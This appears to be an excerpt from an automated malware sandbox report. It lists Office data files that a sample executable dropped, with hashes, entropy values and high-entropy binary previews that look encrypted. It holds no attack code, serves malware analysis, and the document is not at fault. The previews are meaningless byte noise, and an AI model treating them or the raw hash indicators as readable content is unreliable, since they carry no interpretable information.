SSDEEP:	96:wGDSngwcF5siLxOTb5cprNcjhzMpomOW1HWXPx8/ei35PoBLJCQ8gpk2GpxdWjve:wGH7KfPYwmpJ1gXorPohBexd2vQ7
MD5:	5D950490A28182197A5DE245E3553064
SHA1:	361AC8202D90827FA98FE32BD6DB5A98CF3A349D
SHA-256:	79FA6936318D59175BE30BBE7816CC230A84A143EBC5278C0F0839C130DCBB08
SHA-512:	22B7302F9BCFA6B9A6005F07234C902A6AE520EBFB574EE5B49DF93511854C8AE427C94273A3FD5B7D9F1426042D09B3A936F40C6C069BC842C86A00D56F7311
Malicious:	false
Preview:	.PNG..p.[.=...y...:.\.x..X......Dq.9.$K].n!.A.^..,Zm.+....m...q.[MZ..v..X..`$.1...v.E7Z.......G.Q....a.z..-"8.Xp..g..Ht...A4.. k.....?..Gb@.GR>..u'..+..X5..S);g(.....P...l.Y~D...N. .x..H......Q..d_.\.8......I.wi\.mY..p$T........T.K....A..EI.'.W.. ..a..c..eh.8(...)s.....j...K....[.<3.;.[./.t+....,_..!"...f.,%.W/RnN...1..v.Nc..=......N(..[.d..C$.v...f....w.)....Lf...m...+. ..U..T7.'......co...-...{^."..U`0....?1...].......I.t.x.r.GK..A..)c.\|M...v(9AElGs....0...C.,.D/.~.....X..k.'-._......bZ?...I...Q.:..ET.h... P....f....Xt.....1..E.'q...X.\|e.d.MO.g...^.`C.p...."..pAvI.....G.C........._......7JG..s.k.O....S...#~L7u0..*..$.1B.....^..&.L.M..A.v... ....I"@..[..;^.Te..S....1&.C.B...q'w-.Im...pJ/..`......\|.{...G...8<sf<o......";0,.o=.r..y..A$\8`.....f.q._......wJ..h6.Yw.Dk..Zf.....K..6.I?6..8.p..z..B.e..z.$-.G. ....nXJ...m+..x.f.Bc...#..4....Z..yC2.4.....".[.g9.S.8..H...@....S.m......."...C._W7..\..T.5j.Qb.q.[(.....;:\.<.z...l`...,..7....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7D2AAE1F-E21C-4042-8EAB-08D27101C10B}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.979094292024483
Encrypted:	false
SSDEEP:	192:FHCKCa5oDQ1UnmBGIoQc3JADGGBCiGTzApHaiqRYAb5YJpoZ3YT:0rlQGzZYLGMVa4EJe
MD5:	8D20AF1DE02CE13799569C79056E4870
SHA1:	F26F8162A2A8246D0BBA9AA7C9A95EF98C53D412
SHA-256:	184621A636CEBF3D43AF11ABAA051C1E7B795F819A2D541434D29403BDC0D9A5
SHA-512:	289287603FAB856CA066A8E2BFA71AB068C26779F86922C3FF8C1A47D26843CDFC36E4E16DE08B1221ACC57F8324071ACBFCDFA27E781A74B89DED04E11D4593
Malicious:	false
Preview:	.PNG.$,E+.'..m..z.....,..^.^.,&.;.......a=.ex.uS.....0.4V..`C..5..).W..&,S.?..d...]..K><.L..}.Q..ws)#.\.....Q.6r.w$.4..X.c2.g\|.~..h.B..w=puq...w.k6.'.W..nF..%..zN......_l$.Q.R.X.N..C.B...\...ZC..!.>.6..v.F.i.~..0...9.W..E].I.d.c.!.c.....7.z.D.5=.Vw.j?.[U.6.....B.N90.B7_...kb8.`Q...!........^.;.T...u.).+\^....9.W.Gd.l....z.... ........>.S._.......\E..n.R..].+H.q..].$.t........U5.....b).....IN...!n....7..4..^d.I...&r..AI2... .>.....+..RnXk..9..Y.nB....8...^...../yx....!w.._,...9.IK5B.......P.7.(.YB..X= .0..\|..=.,.&k......K.a....U.>}sI9l. ].J+....6^h....5....':.3...`........ 8..(..{...c..x.{.~.L.........Rt..#y{.....^G,..f.../R.....5.(:..&...D."...l.?...................^.3...Q...1.s..0.o6..U>X.....OU........Ye...:.W5..<...z.N.e..f.tUC..c....._1..0.DB..I..../...b.f..ua..b....<.#.i.Sh..s.'.E&m..gfu....)..o.......m.kAd..2..o.9Z.~..8L..9$. .8C.A.T....nm.R....g.Gt..9.qg...a.....h....w\|B...^g.H.....2._....6O.o.d.....0.~.?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{967E9DC2-54C6-4D72-9409-715F9A3F61E5}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.985415553676344
Encrypted:	false
SSDEEP:	384:lrVMo276s/XjV8S+ZdfgQJv5vqxTFZuxvyj3Kj1nk:lr+XXjmZdvJhvqxTFZW0N
MD5:	74787B1763C9F25BDE837D8DE0C836E5
SHA1:	4BDC07680DF5F59720CC6D45D4CB489068BEADD8
SHA-256:	A54FDB8BDB82DD91E3CF5DDEE58AE8CDFD4B7DFCB41F3865CD4743A23E7F48F2
SHA-512:	F74392E22180A66868685A0DFEF8062C9F2C98BD5E5ED185293E6E6D90A6119834429303A8ACE2E0CB5768F2F39B6F2EA6A10E88E7EE5C457504A823ECAC195F
Malicious:	false
Preview:	.PNG...y.0.I.A.......>vAD"X.)...m!.......A%.m.5....@.l..}..V....,..Clw...K?.mS.....&.....{..v.N..j....$..{.i.3IL..b..kd.E..r.....[C.......s.0Hdv.h..4.'.T8.am.1..X..@-.$...4%..l.b.b.o...a..~6...l...n.f.[=.9..>..j....v...&,..r_.j..:-k......5...H._l..G=D....6..9.SF..~..7,m...d.&&..:&..9...c..LM.......`...Ri......vj..g........NK....f.:..`W...%......Ja..+.....p..]..4k..6..^tAGy.FJ....j..?.i$.{;gJ..\M..!.a..W=?a.___..d/...O.W.k&..q.@..~.%......ni..9.....(...B..Mj$....-.......>m..~...?.F.........E...J...9.....3c..m...j.A...!..\.zu........lS.}f....h...U/.ZA...F#.'.?...?S....,i_....7....V.H... ....r..p?...8..3Pz.p...}..U.dV.........3.....9..%.Q<..p.(.5>...d......W..XL...R.......D......lek.#.6....f'.U..Y...q.&4..y.]...h: ~...a......._..,.;......=...}UVg9w&.X..+TM...U9.D..]_[..t.w.2s.p}..z01.Y.5Jc..9u.B....L.....J...}.x..1.@u..~.}.U..'.....5.....0."K...q.."....FpC...t\D.K.....&-...V.0.c[..v#+1.c.....&.j.....h..s.u.v....(F.(.\|d.......>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{A4858C46-92BF-4775-ADF9-F93EB4C5F636}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.977227083480506
Encrypted:	false
SSDEEP:	192:ArcoTpjoBrLuUMkAF5Zc8C6ikk56SVAuEaPT/:YcoTpjoB3gkw5a8m968fT
MD5:	551D2BCF11ED89F4C216EA889195EF49
SHA1:	98DABABDBAE496D65800A27C9461BE600380DAC8
SHA-256:	2E34D2876FFE1A41013D53A155A5F12BD35F7752FC06DBB0CDCFEA308D869A22
SHA-512:	68B89AEE0F618438115B4B710D07CC2A822285D5FD132700AD87BA5C33DBBABACD2E6826BBFB209DC9D6B9E68B7A552A7D2E1C9CD7A7E920C14E4D091F7E28E6
Malicious:	false
Preview:	.PNG.y....U!.a..2....{.h.._.....KO. ...*8s........#n~.:....=..i.].}..s.@f....}.z...T.!&..e'..p.'....(.m....y.(...si...Tj)#...li.W.rf(..u.T.tj.Sgm.-.'.b5...)s..6eU<.d..3...R....Gl.`S.%[..D..?..5.......};...}.....PFlq.y_..5...u..$_).....\|....f.%_!..l.0......f..a!.C...].g......5.w.9(..51Z..U...6/...c..-14.....U`.T.?c....._..7(.._.".w..._.f.%...P......s}.8...(..@E=...m.w)..@..NU.+.".Z..2..5....`...2...x=.J.....Z.\|.../....;.;&...P-y=.k......~.....+.Ak........D.eP.....Z.X.5...3.)Z.o..k....`$ay)...U"....F@.,u.#,ga..G...e1t..1m...._.m8.2]0.m..JY.......4B.dQ...Z.,..8a(...4+G`..2@{...W...M.3E.B_../A......U........D_x.7..!.`.......H.X......0.Y.{U'=...j..IH.7..M)...1.,.....Z....z\vO..%.wob.......f..9b.0).\|spzdC.O..&U.&..T..M.g....h[9..wm...'.n...{..c=]..../#.A....\#w"f..)j6.x.P.B.k&..{.H...y..0...9.YkE.{.m...D....Q...C..%....7.x..pG..{a..6.g.. .V.@..k.M.6K........>.."..&&.s..E.x"o.....Q....'..[.n#\|3.K'...+....cj.5Y...H....%.............e.#..5.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{AA4547C7-FE83-48AB-9053-3A60F16A4C34}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.964608526384683
Encrypted:	false
SSDEEP:	96:LMameLJLK3LkDVgHXlvvnzGAbDX16mX3MOreuUjUK6cZDIJmH9:L/hKWg3Rvnz5F6u7KhjUK/ZUJmd
MD5:	0BB7FE6BF54751A853A242C96A412704
SHA1:	F07F204D335358832095ACF85D04554C897725B8
SHA-256:	8F44F2FB54240E457FC8E34136ACE578BBAEFF57E64BE567AD37C268B2A7D8D9
SHA-512:	D9FAFE607403CDE9935BF3F2C485BBCE61404943550D7D816626F682A8C596732FF1689C9BE0A79CCFA8A0AF6121B1FC3E6F60D496D53CC56088CE5C7A7D88A0
Malicious:	false
Preview:	.PNG...?.F"...&.....v_......a.....8.:..4.B0k.;....w.w_..\|.;.N..`..WA.)ck.S....kv4+fY.w...LV"uc1...D....d..W..d..^..-.t.v;.%w5."..?.h..Y.1fy...=..[.("...0.X...9..].r$.....H.8.@.'.}...Q.9Z6$.T..o.u...G.}&...o..r....Q$}z..^..o.x....sjmd..\|..mt#.....0..N&....B.+r...CN..'..3.......g\|A'.~.[....U.oQ\|...S.[."!..S=.....Ir.....qI....F.&....8n.."...x!PS..x......n...\|....<[../.:..XD.3H...!2.q.....V..X.V5.....XP.$.UY..yc.j..h.....p......P...7.XK.TU..}.. 6..t[.......>.C%V.B....D&...6:.......r.D..5...l.].xQ......J.R.G.DM.......g.?H]..0LU...w......c.!.O....K....'...1...(.`kR.X<.3JAK(-...m.=c2h..6.....no{L....U....:../..".W..;........O.gl.I..R.N.N...2.m..K.f(.0w...w....b^.!.7]{..:..m\|..W.....<..%K..l.~.).q.Y...... C.2-=tXk.fFN..1...<.)a...J....Z)..S....h.%...[..7....f.g.s`....6.\....i..A......y..=j....EN.2_G...K..w........o...qi.b8.C..2.^.t.L...c\|?`Dl..+\...[7...e........X5.S<..Ha......s49..1..}q....B..:..edf..rD.(.[.8.9. .]..."..._.3...$L..1:L%f.y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{F5FB5847-D24A-455C-A647-40C253091672}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.983184730471103
Encrypted:	false
SSDEEP:	192:o+6E3OI/IlR8EH3MHGkNFzM4TH5DARcl42oIZs23VhC/hsQdIrO9mBW:R6E3rQvt8mkNdM4bOcK2oIZ3FhmhRNh
MD5:	7279D53901560D790F3AF760952BA637
SHA1:	A51743D89C0D217413C975E319E11032809C7534
SHA-256:	8C1A57FDC6F8A4F3BDF94E6E616CE37906F7CA9A6A6F43EBB3A60280ADE18ADA
SHA-512:	228AA9E6B5ED78B049053CEE4503D552B5D9F558321881C55E02A2B9D643C5E913032A7F915566B7AA8E579BA4090F49A1C7ED5216B6041F9DF33D83B9C98D8E
Malicious:	false
Preview:	.PNG.-dd..`..P.W.9..+{\tR.F.W..^5U...........1.N..n...8..@.......h.J+..H[/..=.Wy....y..7..nfPX...v..iA.g.\|.F..=io.(..\|..j..hq.3r.....=n%.t-H))Sf\|.9.....W.s0.$.@;.<.L.........S_..~=.......=l.I..U.0.BE/wY`.M.q....l.bO.&N..%..VN0,..X...m.q.xp..t..j.u.(.~d].1u..;....{d..>.p.0...h-...@...L.\|m^.a....\...LA..i..\|A.B.{....^..:B...>....c:......T.R.....}.6'l.[..F.E0..3y.P.eixx...#$.@J.g.AvSl.'..,N.=L...r.=Da.fq=.$....P...uD.9J7MI.....d.z...W.Rq.....J.."..vQ.":.N..?...;.'...c,Mx.&06...F .KA$.&.F{..e%.E.O.`......F'.ok..-.....k$N...9h.vxs...]XD.....F.L.....}.n{w)....[.1.R.......q....;............X.o.MH.{..r..BM.yn.....o.?.#9....$s..x...^r.Tj._T.I.g4<....:...4.Q.r._....W..4....$....v,..H.i..M".~U.y.V..m.&.r...s@..6a.....).Ya.......+.,.s.\|(....).W.(..!1.../$...)..Oj.! .c...].]..*.R..A9k'tw. >\|F.c...K...@R..]....,g...2{....3..ens(......... ...y..N.N..#.....]..\.......ZG.]0..I....fn.w.Lf_D..eU....R..I.%......17..(.I..L...xMf.3J.).Ef?...P_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{FD5FD857-5A38-4C81-A322-3226BB279FAA}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.980058839532546
Encrypted:	false
SSDEEP:	192:kxa+MZ+uYi8HLIb6maP5ZfSq2b+lv1h8mm4shd/6qO/:kxaH8HLIxwyq281h8mm4sw
MD5:	03C4536EF942EF10732079330FA7EEC1
SHA1:	3B36DA455ACCD19CFB443356818B6D3C7E7989D9
SHA-256:	921E3D9D6EC10CDD1826A50F8CD4CFA48140AFD6D5E1DDF0DF1FCE859462440B
SHA-512:	343D475013D73AE55488D584297A3DF8C563A05315CA33FE555A883FC55F5DFF8E56024942CFED8B6CD95055F1F2371985F178524C08E2E17F2E082462973BE3
Malicious:	false
Preview:	.PNG.d.`.B...`m@. .r..j.E Ezw...~$.apb..7h....\,1I.. ....N....&\|.%."..o.....6...J..U..tO..G..;..Wg..jTI..R..v.....kG..'J.Pq.....BE9..4..........}J^.X8.g.H^.<,Z.e.YGl_.U..0...v....B.OG.=r=..j`...XY3w...@......".I.b.." .U.....W.z?...n.-N..~...B.r..-Ke$.."t)...."..h. .3@....[eT.).R........y....P<"..fU.V.uw......,L/..j.8.....W..8+.)..o....e..e{.[.g..;...=.bp...y.+.......y.Z.3uH.&.a._...F..#.C.n...Q3.....`F.y...)....]C.....N.8.-.".....s...(.O...a..j.RW.a...$W{!?.,...JK.OA.>M..\|/c..Q.....3...h.a"...+(....`....)..L...9_.E"....G...5I1E;..5.5?.N;7.O'.{.O..e...Q...I.L^..............=..S./.mZ..d..\|....Wg.+..0S..$.k..@.......{....N.$..]]...LA.>..n.H..!9....E...Ih...'?2.u.:P;\|..\...a.T7..Sb.....ulA..:!l..."_..1.).H...W.r.....i..5..K.].l..#..o.. ........o...xc...t..l`pU.-l7.h.kdi..c.".....w..&Y.q..<.....xL.....~`e-ki!(....f.H...Z.v.0[..Ve...ss...BJ7.A.hk%....4.B....;...8jl..?..gU.sv.......Ea...Z....S.rQ...a..a.a->l.l.......L.{e..d3....<.b(..U..Rj36.<w.?.Ua).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Personalization\Content\Anonymous\Insights.json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.6351668730245805
Encrypted:	false
SSDEEP:	12:woXRCf3sLHAdg/xZM8MTO5ZA7/+xvXBdHMIQuvS8K9KpCSsJh+T8KSQQMI9Mv5j9:dAdg/xGv37+vXBd3P6vWCDM8Bn9MJVbD
MD5:	09A4A3E9019D69ECCC2F904712852461
SHA1:	F13D117AE353A3056441CF495E4B888081F036B5
SHA-256:	FE57D72209BFE7556018B152591B43EBA4FE258BA16E1327C1627B6E4FED98AD
SHA-512:	3E54A913DB207BB8A7DE1461FA73AB2E5F3407267B0F471F9CB6824559BE843E53AF72BCA253B9DF985834A813638BABC5E471EC331EE8B60C3938F2BE3FA59B
Malicious:	false
Preview:	{ "Me......?AT]:.N.z #3.2..XE..."24g.....r.i.+.yT..m..6..~....M$9.DM...-...&..M.x...^.C@..F..\|.._.L.\3...M..].P..wS.K..GK...w..1...}...M......`2...f\|.....m..2......G...C`CW3..~..:\..v.c.^.;.\|...n...<.s\|....l.........UA....dI.m....z.+d>...5j$..j...[1..../...v......nK..O..x`Rv..7.V../.FG..$...zD37.v..]..8...L...1../.....ya..xLOT.E~..m.J..u...j...L.....QV......-^ Q.,.....M)5.]...+n.z.z}..#...2zJ.....V5..".I....Q6..F.\|O.q.b..P......u...52.X.H.$...W....v...T..z......d.0..l.As.8Ho..9[&6%/._ .%,).. k9.{i.'.....I.....T..J..q.MP#>I./N*^..y....XY..g..5...a.R~.'Z.=.w.&]w..F.j._1'1..C...J.....@.....13....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Personalization\Governance\Anonymous\floodgatecampaigns.json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	7.940525460840809
Encrypted:	false
SSDEEP:	96:k3HALGwBUh5Vd53ulMWUw27n0RuE7rcX/TAr8+35Rj1g1wkoGixP9:kEGxX538Mft7UuE7ruAr8+35gwyQ1
MD5:	775A99090F92EC025090B1B0E2E6A701
SHA1:	6FFDEF2E642353A50FB47310FBADA06013E7A8A6
SHA-256:	AFBFF5B5F73A583110766BCEAA01A4CA06EA1F91AD891500405D771ADD5263DA
SHA-512:	3E695807A315E62EB94094DD79BE16FE007A0AEE4A9C533628C241D2F654BDF6CA254226AAC675522FF8B1C1A26E93F7ABB0CD72D1951E2D2BF613F1FBAFC6BE
Malicious:	false
Preview:	{ "Me...o.].x.B10....6..........\.....t.L..L...p..5..+....OX....z....T......Wbt.7...4.x..:......m.@..u.<..[y`.x.kc.n?.NQtu.x..PGa.o..\.2{..G....`..$..(c....Osd.`En3...A.A...Z7l..O../.\.gU.\N.G{..9...[r..C...."`...J....<5.h/...x.J...=N@..aXH.'vd...5TA..\`.V..4.h....tm..@;'.2..T..x.I>#..&ies.."d...ED!ne...rc.8....zJ...).q.Y19>E..l.......6....q.Q..FTc..6.\|i.y..@.....I..\|.....J...U..~@..U..p4.h{X!....H...~d.../6........p8.7.....?..i...j.@U...X^........\|....l..2.K..."..:.k....pf..g$...+.r.x0L.+9..[..\..UP.V...m..F..S!.U.......O.vP......e.."o.\|.I0...~<.\..vL..Z...f..[...^.cA]..\|.*x.y..E....ZAK/.v.>.L.G.!...4Sh.W\'.3j..%.].#..Kw...I\.2...2Y.K.......1M.p...~.i0.Ja.~.u...3...`.r6L.. ..,@U...#.....$..N..).p=!.......97..67]..`PA....O#..x....B..K69x..S..............".li.....6/?D7.w..D.......K.....O.!.y.W...9.u..j....<o.?.j.......z...".].2.j..O...j.l.e<,....^R."C.1....=..x....f.B."/.:.`^".....6_3...d%../.;..b.k....D.B.,\....I.....X..9:8&...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725077105017809
Encrypted:	false
SSDEEP:	3072:slrLEuKXW27wLmVQDzRYILDsTebFngP3PCKC2R:qh+J7kmVQJzFSCKf
MD5:	C0B1E67F728A2EE5892478DD060E2472
SHA1:	64277813CCE96AC0E3C4C536399509EC9710EC93
SHA-256:	B269510D3B8DC8BD49A92C2875BCE28CC7580CD940FAB84221C202EDB6E26D7E
SHA-512:	D861D3591FB4C0983764FAD63D4390F49B9F8B65BF59982F170B3C78A060B97A1709CA242CB9AF943F00EBE989B03D5C0C3AAFEE33A5F072384DC7DD711EEC98
Malicious:	false
Preview:	<?xml..d@^'&Q..w~T.._n.Pm.T.Fe.mbD.....=.&$O( .e7.9..$!q...be.....T.....{....A.,D......N.N..q....U.>.j.s...j.TX;...>.W8L.pF.B....kh ..\|&ap.j....o1g..\|Yk\A.O...=W....%5a..!.....>..4+RR...._...!.....].m..)a.BL........".'....6.v\....'......$)..d...F.......<.?......2.<..".......z...H\|./%.+G..........zP.z.....U.....}.i..'/......5.5[..F.Hu..D...........:P....m`0.]G......@}^X.<..J.?.......&..DJ..!...N{6....iz.(n.o...?d..J.......bt".Oa.ehN.H\|.....5......h3.z.w.-.....B...a.4<.m~...@..r.CD[..]..b...H...h+.H......6..2..^...{...!'N..Z:_.._&.^H.($(F.j&>.....a.]..(fF#k?T1...6.f..x;...2ni.../..+...}.i.B.X..5R.(..\|9...`o>...<..E...@H...2.j.$.l^.^=4..X.?...`.xzi...{n.^..cV...`G......5._&....m.V..@5>$X.......9sl..C...x.S.p..g...G.J.V6p.q..z.e.....O]:.z....Z(.4.t.x..z.........n}.......f...z9"..q...Y......(.d........Y......$h....:_......)I4. 9Q:...2...w.R..V...-...]......8....@..>.Y(!.p.Vr...q&"...:.v}.r<../..:...3.,....r...6..,.Yt)Ad..%'.....A........M.w.2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.943368693577847
Encrypted:	false
SSDEEP:	48:gof3LsgYuUwGpzPVz6ndVfcuRBfF8jDyEpOLjXI6j612RE3wA/HXE69OfAKcUFD:zf4huUjcPfhRBfeyVL862r3wu7DKZ9
MD5:	46F288F7E11293B66D64920089C658C9
SHA1:	F95CD7A8DD3BB866667752CB063DD372E9E392B4
SHA-256:	118189F9582519E1A222AA5CC356C682C0E0DF71177E78E521B96CF61B5556D9
SHA-512:	A4F33D84FF841FB9CD642FB160DBE818A8C97E8CB13B856F0090CC5F3E453DD207C4F6DA82805A2AB3ADFDC16DDF361CE764207B12BD6F4944C5953779CE6B3D
Malicious:	false
Preview:	<?xml]......^4......P.M..P~..]...Te.....^.;...^..8..9.I.2.....e.?.M..D>.q..^1.3.c.......k.".gY..o.4...z...'@@..$....."+.}.C...~....T....0Y.&.x:B..0....../.V.]C....b.i..!..,.oVZj.2..s2A....F7;.0.l....{t..t....B........w....<...~N.F.L.f....;D.......L..-.b....}.m.C,.W..n.......V)P.tNx.IN.# k....... ....._.Y...?Z.}...m7{..Xw.r.......7o~U[...O...I#.h....3z........i]......C_....[...t.._N...>.Z^#l..].Y!...bXq..............eF!Q8. ....%.:...p.Z........!6...@..0..I}B...y......`.g....c..Z..T.u....3.U.......E#.....#....a.s.7.4.r#.t.............lO.a.....XDi06...h7....d..x.......b.j..Iw...C2^..hu....=.+2..b.~h....d.:..Xc.S6..Z..=U0...k{.#..2d[7&..R..DM...1.n..B.~.......d..{t.^..o.Rx\|......\|.&Z.f..y..D.........G.....P.d...f.orG..........o.M...5$\|...Xw............v..t..l.\...se....m........r.....MR.."}..u....l.....F..p.....lF.4../].l......\,.+V#....... .._.-m.x.{...;?.f!.y.%..ws...-.......w..CP..$/....<...t.t-.:.8...N~.._.L:.........S.Ly..<..V+...\|.(.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.920757333444493
Encrypted:	false
SSDEEP:	48:VOdYin9LTFR7eKDQ368C4yVBwbzcbGujIWEZfyo4MxhIRuFqFD:cGi9f6ar/VBwbIjmfK8hIME9
MD5:	BD0F7DD62376A72AD9F40839A4E08505
SHA1:	8621C96C0DF770C00752AF4D48E0D7267F0F6A4D
SHA-256:	C3EA130EC914E4886FAF73C4403C784716BA6A2B05299BD08681FB228E78BC2B
SHA-512:	C88677F298D80267E82E1D45D7D1493CAFC81373046BCF2609C5C8411279855E5FE47692E6C1C0A8EA7354FC2A2E7B8450E56451EC63DFAA5551B2AAE9FDD156
Malicious:	false
Preview:	<?xmlk..},.z.SglH^.J.:..J...>.%...f...T..J..u].....\QX:Z..c>. =r.....s....f.{...I.b%B.~.....1C_....L.h..0.....faYJ.&...v.v+.(3.....`.:>.%..W...o..X.b...`k..&p./.r.....i...iK'!.v.....b.....1. .X7R.......4y...../'..j.y.v.$..3,..5..,:.Mv.}..%..8...P.SU.+..=..X.......G'.}.......l.9.y......N.C'.(.i.^1-.$N.a$"3m.w..1......sL...&.@.e]..s(.:.Z`_......[....#..o....f..N(]=m....I.P.p.......cI.jY.'......Pn.}.#.74[gE.......C.......Z...^u&.]c.QU....(;..yi!.k..Xr)ue".Agwcl).......M!?F.7..m..W.1.ne..(;.o..t0.....=[........4........B.9.-.G..c..:4.<.8Q.......'?...l.&..........]G.X...n......S........@..M.AE.d.....o .d.z.`..b...k.da...uW.P. ..S...w..o.@k..$<..k.b...K.....<.,..c.L..T........r.........%?.Lm.R..y..\E:..W.q....F.{S....#O,~B.Ax.v]<.L...yA\|..\|.P<&..N... .0....y'f.@d..N&3...2.pLs.&=PQ.o..l+........m.............y..@.....{.......u.L..........N.@ (!...)...<5.;..&i......m........O.....".6....+.....G..\.O4w{.+qT..f.Q.n..b!#.PD...d.t.f.LU..>..c..Z...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.927281069389678
Encrypted:	false
SSDEEP:	96:Ph/kpEjoH9KYdNlmMbYW41MZHKmsO0oR19:JMpTH93zUMbYRMcmP
MD5:	8410E4B98DFC561C7DCF9526891C7CD5
SHA1:	F9540D48A6DA7095D595B6B4D43238F228774243
SHA-256:	7EBF36A3507B8BB26ED6D0F110F03589240C4994D631C67C6284C8B3C894871D
SHA-512:	638428E8CCFF3F243D4C964D89A7F629A4600352216861DFA3B9B2FB6C7DF35D15794C7134F059712A88B4AE502246420E1F12ADA68B5F06CF9C877CAF2E373E
Malicious:	false
Preview:	<?xml58=..].N.v..a.....G#.B ....aC.BS..Z.\..w......V,......t...of..N...K}..y..T1....Qe...A. b#.dbz...W._..V...4..........p./d....!;zYc.w..G..2..%Z.c..V..Z.....0n.<.....m..-..q..EF.....b...#^nC...:..;E5+%0...m...Gg.&c.r.8Bz..C.t`.m.fZ......y..5..75.s.m...g1.!......6...$J..'X.7..m..PO..n.Z...9..V.m....G..8C......S.e...n..e.B._A....4,t."ij.T=L....6@...-I...?w.8.0./..W.....>..._.1........rD\.....)..h....{............TQ...G}PRRcs.<..L....x...lS1.T.].gv...F....P.yA...V]..U(...G....A...P.....L.c.N.......C.9w..D.X.X...$.N#..I...@....:L...Ro..H}<..H.-~...S1.`,}`i..b...E.a.P..S..).....g......................=g5.......S:....lF.].i.(!....T~.]p].Mw..+I......pQ.Z.....;......j.K.~......?..@...b.9\%..4.X....Vz.p.}).>...n..c.>..@,..`.?..3....I6.&......d..L.....%..j......'P<.......?5}....7......"..m..{d..."r.V.....L.-....o..K...]e.....~t.9).bE....._X...:..S....`.....bN.G....}.S.h...3...m.tn.&..pA.2...P.)..b.i.M.'..._...E.$..D.l...@.b)n.....2W\|....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.9537568229584705
Encrypted:	false
SSDEEP:	96:8aBWUrMtU70md9GRABJXEjLNbhoVlH3wqHoWxkR4v3zq874WJak+w1rbDI8Pef9:8aDQqGR8JeHoVBwKLkR4fzqul+obDRP4
MD5:	9F7FCA9CCF05496CF0DBCDB70E27BE6D
SHA1:	98483AAB1733528C222A39FBFA8B8058CC316947
SHA-256:	C5249CF81CB34FA506758DECDC582A93EE4C629BAE88951A05991B368D111B81
SHA-512:	C7791274EDDB9F4CB8E74587DE8C2CF28A060B9A643172319540C94A1BD62B4E71006D4BD8FFFF229EE492CC63767491C691FBE38C0F5EBA87D52B6E54CCA2B0
Malicious:	false
Preview:	<?xml.....ZW...(..:.#.Y.......5..UZ...i...I.6.......H 9EZr.O.+..c..O~5...5>.................@.LTl.....b..9x.K..V>.W......g.9.hI..>...v..uw.<K{...ak.<...B7(..EH{V..b[.....4J....li..OV.S...N..aZ..P...."...]...[..6s..o.ne.......}......r..G.I..kD$.L-`_Q....F......}.r.p,W8.W....mxC..X.n.b.J.B...?P....~....F.@0...U............pkc..=.x5:..I.=.......w..[.-\...7.....b..+g..v..B7nX..a...R.u.r...(....%...7P.....t.[..J.p.u.,.$.Pe_.N&./.lr.... {-.....,.k...M......T..... .`..Y.H.......;.m1...P..&..=._K;...y....F.)...........-..a.D.....5.s'( +..E.%\|.9G.S.w.Sn=@l.!......~........)X...0...3%......6=*.up.Jh.....v..(\|..(.......U......Q..{..`................X.s =..a.....i.m.[Z.z..G]0.F....z?~0......W......}.~k..3.r.+.aNBs...........L8...X...e...f".....<&.Y.".Y..{%.........//..=.....w..s.k{.U..2..J,......x^:.Tb,...AK..pX6.F.".H..=..:Z.......0EU.Ml46V..W.'e.$+...YS(..mH.?.rS.....oK.-.t.....=.&x...<4.......".(....+.1.p....?o.T<.T...'G..V..J..v..

